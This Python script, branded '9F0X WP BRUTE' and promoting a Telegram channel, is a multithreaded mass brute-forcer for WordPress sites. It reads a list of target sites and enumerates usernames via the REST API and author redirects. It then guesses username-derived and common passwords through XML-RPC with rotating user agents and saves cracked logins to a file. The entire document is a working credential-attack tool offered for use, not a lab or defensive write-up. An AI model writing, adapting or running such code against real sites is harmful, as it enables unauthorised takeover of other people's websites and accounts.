import requests
import time
import os
import sys
import random
import re
import threading
from platform import system
import concurrent.futures
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import asyncio
from aiofile import AIOFile, LineReader
from colorama import init, Fore, Style

init(autoreset=True)

# Disable SSL warnings
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
os.environ['PYTHONWARNINGS'] = 'ignore:Unverified HTTPS request'

# Set console title on Windows
if system() == 'Windows':
    os.system('cmd /c title 9F0X WP BRUTE')

def clear():
    """Clear the terminal screen."""
    if system() == 'Windows':
        os.system('cls')
    else:
        os.system('clear')

def Optimas_Prime_Tools_banner():
    print(rf"""{Fore.GREEN}

          .---.        .-----------
         /     \  __  /    ------
        / /     \(  )/    -----
       //////   ' \/ `   ---
      //// / // :    : ---
     // /   /  /`    '--
    //          //..\\
           ====UU====UU====
               '//||\\`
                 ''``  {Style.RESET_ALL}                   
{Fore.RED}          Join Our Channel :
     https://t.me/NINEF0X
{Style.RESET_ALL}""")

# Global variables
total = []
processed_results_lock = threading.Lock()
processed_results = {}

async def async_load_sites(file_path):
    """Asynchronously load site URLs from file."""
    urls = []
    try:
        async with AIOFile(file_path, 'r') as af:
            async for line in LineReader(af):
                line = line.strip()
                if line:
                    urls.append(line)
        return urls
    except FileNotFoundError:
        print(f'{Fore.RED}[!]{Style.RESET_ALL} File not found: {file_path}')
        sys.exit(1)

# User agents list
user_agents = [
    'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
    'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
    'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/120.0.2210.91',
    'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0',
    'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15',
    'Mozilla/5.0 (Linux; Android 14; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.36',
    'Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Mobile/15E148 Safari/604.1',
    'Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36',
    'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
    'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36',
    'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
    'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0',
    'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15',
    'Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Mobile Safari/537.36',
    'Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Mobile/15E148 Safari/604.1',
    'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/119.0.2151.97',
    'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0',
    'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
    'Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
    'Mozilla/5.0 (Linux; Android 14; SM-G998B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Mobile Safari/537.36'
]

def get_random_user_agent():
    """Return a random user agent."""
    return random.choice(user_agents)

def headers(request_type='get'):
    """Generate headers with random user agent."""
    agent = random.choice(user_agents)
    if request_type.lower() == 'post':
        return {'User-Agent': agent, 'Content-Type': 'text/xml'}
    return {'User-Agent': agent}

def URLdomain(url):
    """Validate and clean URL input."""
    if not isinstance(url, str) or not url.strip():
        raise ValueError('Input must be a non-empty string.')
    return url.strip()

def extract_subdomain_and_domain(url):
    """Extract subdomain and domain from URL."""
    domain_parts = url.replace('http://', '').replace('https://', '').split('.')
    subdomain = domain_parts[0] if len(domain_parts) > 2 else None
    domain = domain_parts[1] if len(domain_parts) > 1 else domain_parts[0]
    return (subdomain, domain)

def generate_password_variations(username):
    """Generate password variations from username."""
    return [username, username[::-1], username.upper(), username.capitalize(), username.lower()]

def generate_subdomain_domain_passwords(subdomain, domain):
    """Generate passwords from subdomain and domain."""
    passwords = []
    if subdomain:
        clean_subdomain = subdomain.rstrip('.').split('.')[0]
        if clean_subdomain:
            passwords.append(clean_subdomain)
    if domain:
        core_domain = domain.rstrip('.').split('.')[0]
        if core_domain:
            passwords.append(core_domain)
    return passwords

def xmlrpc_payload(username, password):
    """Generate XML-RPC login payload."""
    return f"""<?xml version="1.0"?>
<methodCall>
  <methodName>wp.getUsersBlogs</methodName>
  <params>
    <param><value>{username}</value></param>
    <param><value>{password}</value></param>
  </params>
</methodCall>"""

def try_login(url, username, password):
    """Attempt login via XML-RPC."""
    try:
        response = requests.post(
            f'{url}/xmlrpc.php',
            data=xmlrpc_payload(username, password),
            headers=headers(request_type='post'),
            timeout=10
        )
        return '<name>isAdmin</name>' in response.text or '<member><name>blogid</name>' in response.text
    except requests.RequestException:
        return False

def informations(url):
    """Enumerate users and attempt brute force on a WordPress site."""
    try:
        # Check if XML-RPC is enabled
        resp = requests.get(f'{url}/xmlrpc.php', headers=headers(request_type='get'), timeout=10)
        if 'XML-RPC server accepts POST requests only.' not in resp.text:
            print(f'{Fore.YELLOW}[INFO]{Style.RESET_ALL} XML-RPC not enabled on {url}')
            return
        
        print(f'{Fore.GREEN}[FOUND]{Style.RESET_ALL} XML-RPC enabled on {url}')
        
        # Extract domain info for password generation
        subdomain, domain = extract_subdomain_and_domain(url)
        passwords_from_domain = generate_subdomain_domain_passwords(subdomain, domain)
        
        # User enumeration sets
        usernames_slug = set()
        usernames_name = set()
        usernames_author_enum = set()
        
        # Try REST API user enumeration
        try:
            rest_url = f'{url}/?rest_route=/wp/v2/users'
            response = requests.get(rest_url, headers=headers(request_type='get'), timeout=10)
            if response.status_code == 200:
                usernames_slug.update(re.findall('"slug":"(.*?)"', response.text))
                usernames_name.update(re.findall('"name":"(.*?)"', response.text))
        except requests.RequestException:
            pass
        
        # Try author enumeration
        for i in range(1, 10):
            try:
                author_url = f'{url}/?author={i}'
                response = requests.get(author_url, headers=headers(request_type='get'), timeout=10, allow_redirects=True)
                if response.status_code in [200, 301, 302]:
                    final_url = response.url
                    match = re.search('/author/([^/]+)/?', final_url)
                    if match:
                        author_username = re.sub('[\u200b-\u200d\uFEFF]', '', match.group(1))
                        if author_username:
                            usernames_author_enum.add(author_username)
            except requests.RequestException:
                continue
        
        # Combine all found usernames
        all_usernames = usernames_slug | usernames_name | usernames_author_enum
        valid_usernames = [
            u for u in all_usernames 
            if all(x not in u for x in ['Archive', 'Author', 'Home', ',', ';', '\\', '//'])
        ]
        
        if not valid_usernames:
            print(f'{Fore.YELLOW}[INFO]{Style.RESET_ALL} No valid usernames found on {url}')
            return
        
        # Initialize processed results for this URL
        with processed_results_lock:
            if url not in processed_results:
                processed_results[url] = set()
        
        # Brute force each username
        with open('wp-brute-good.txt', 'a') as f:
            for username in valid_usernames:
                password_candidates = [
                    username, username + username, username + '@1234', username + '2025',
                    username + '2024', username + '@2025', username + '@2024', username + '01',
                    username + '00', username + '1234', username + '1', username + '2',
                    username + '@1', 'password', 'pass', '654321', '12345678', username + '!',
                    username + 'pass', username + '123', '007', username + '2022',
                    username + '2019', username + '@pass', 'pass'
                ]
                password_candidates.extend(generate_password_variations(username))
                password_candidates.extend(passwords_from_domain)
                
                # Remove duplicates while preserving order
                seen = set()
                unique_passwords = []
                for pwd in password_candidates:
                    if pwd not in seen:
                        seen.add(pwd)
                        unique_passwords.append(pwd)
                
                for password in unique_passwords:
                    with processed_results_lock:
                        if (username, password) in processed_results[url]:
                            continue
                        processed_results[url].add((username, password))
                    
                    if try_login(url, username, password):
                        result = f'{url}/wp-login.php#{username}@{password}'
                        print(f'{Fore.GREEN}[SUCCESS]{Style.RESET_ALL} {result}')
                        f.write(result + '\n')
                        f.flush()
        
        print(f'{Fore.CYAN}[INFO]{Style.RESET_ALL} Completed {url}')
        
    except requests.RequestException:
        print(f'{Fore.YELLOW}[INFO]{Style.RESET_ALL} Skipping {url} — error accessing site.')
    except Exception as e:
        print(f'{Fore.RED}[ERROR]{Style.RESET_ALL} {url} - {e}')

def main(url):
    """Main function for processing each URL."""
    try:
        total.append(url)
        if system() == 'Windows':
            os.system(f'title Total Websites: {len(total)}')
        
        url = URLdomain(url)
        login = requests.get(url + '/wp-admin/', headers=headers(), timeout=15).text
        
        if 'wp-submit' in login or 'recaptcha-checkbox' not in login:
            informations(url)
    except Exception:
        pass

def run():
    """Main entry point."""
    Optimas_Prime_Tools_banner()
    
    try:
        site_list = input('Enter Site List: ').strip()
        thread_count = int(input('Enter number of threads: ').strip())
    except ValueError:
        print(f'{Fore.RED}[!]{Style.RESET_ALL} Invalid thread count. Please enter a valid number.')
        sys.exit(1)
    except KeyboardInterrupt:
        print(f'\n{Fore.RED}[!]{Style.RESET_ALL} Interrupted.')
        sys.exit(1)
    
    # Load sites asynchronously
    urls = asyncio.run(async_load_sites(site_list))
    print(f'Loaded {len(urls)} sites.')
    
    if not urls:
        print(f'{Fore.YELLOW}[!]{Style.RESET_ALL} No URLs loaded. Exiting.')
        sys.exit(1)
    
    # Process URLs with thread pool
    with concurrent.futures.ThreadPoolExecutor(max_workers=thread_count) as executor:
        executor.map(main, urls)
    
    print(f'\n{Fore.GREEN}[+]{Style.RESET_ALL} Done! Results saved to wp-brute-good.txt')

if __name__ == '__main__':
    run()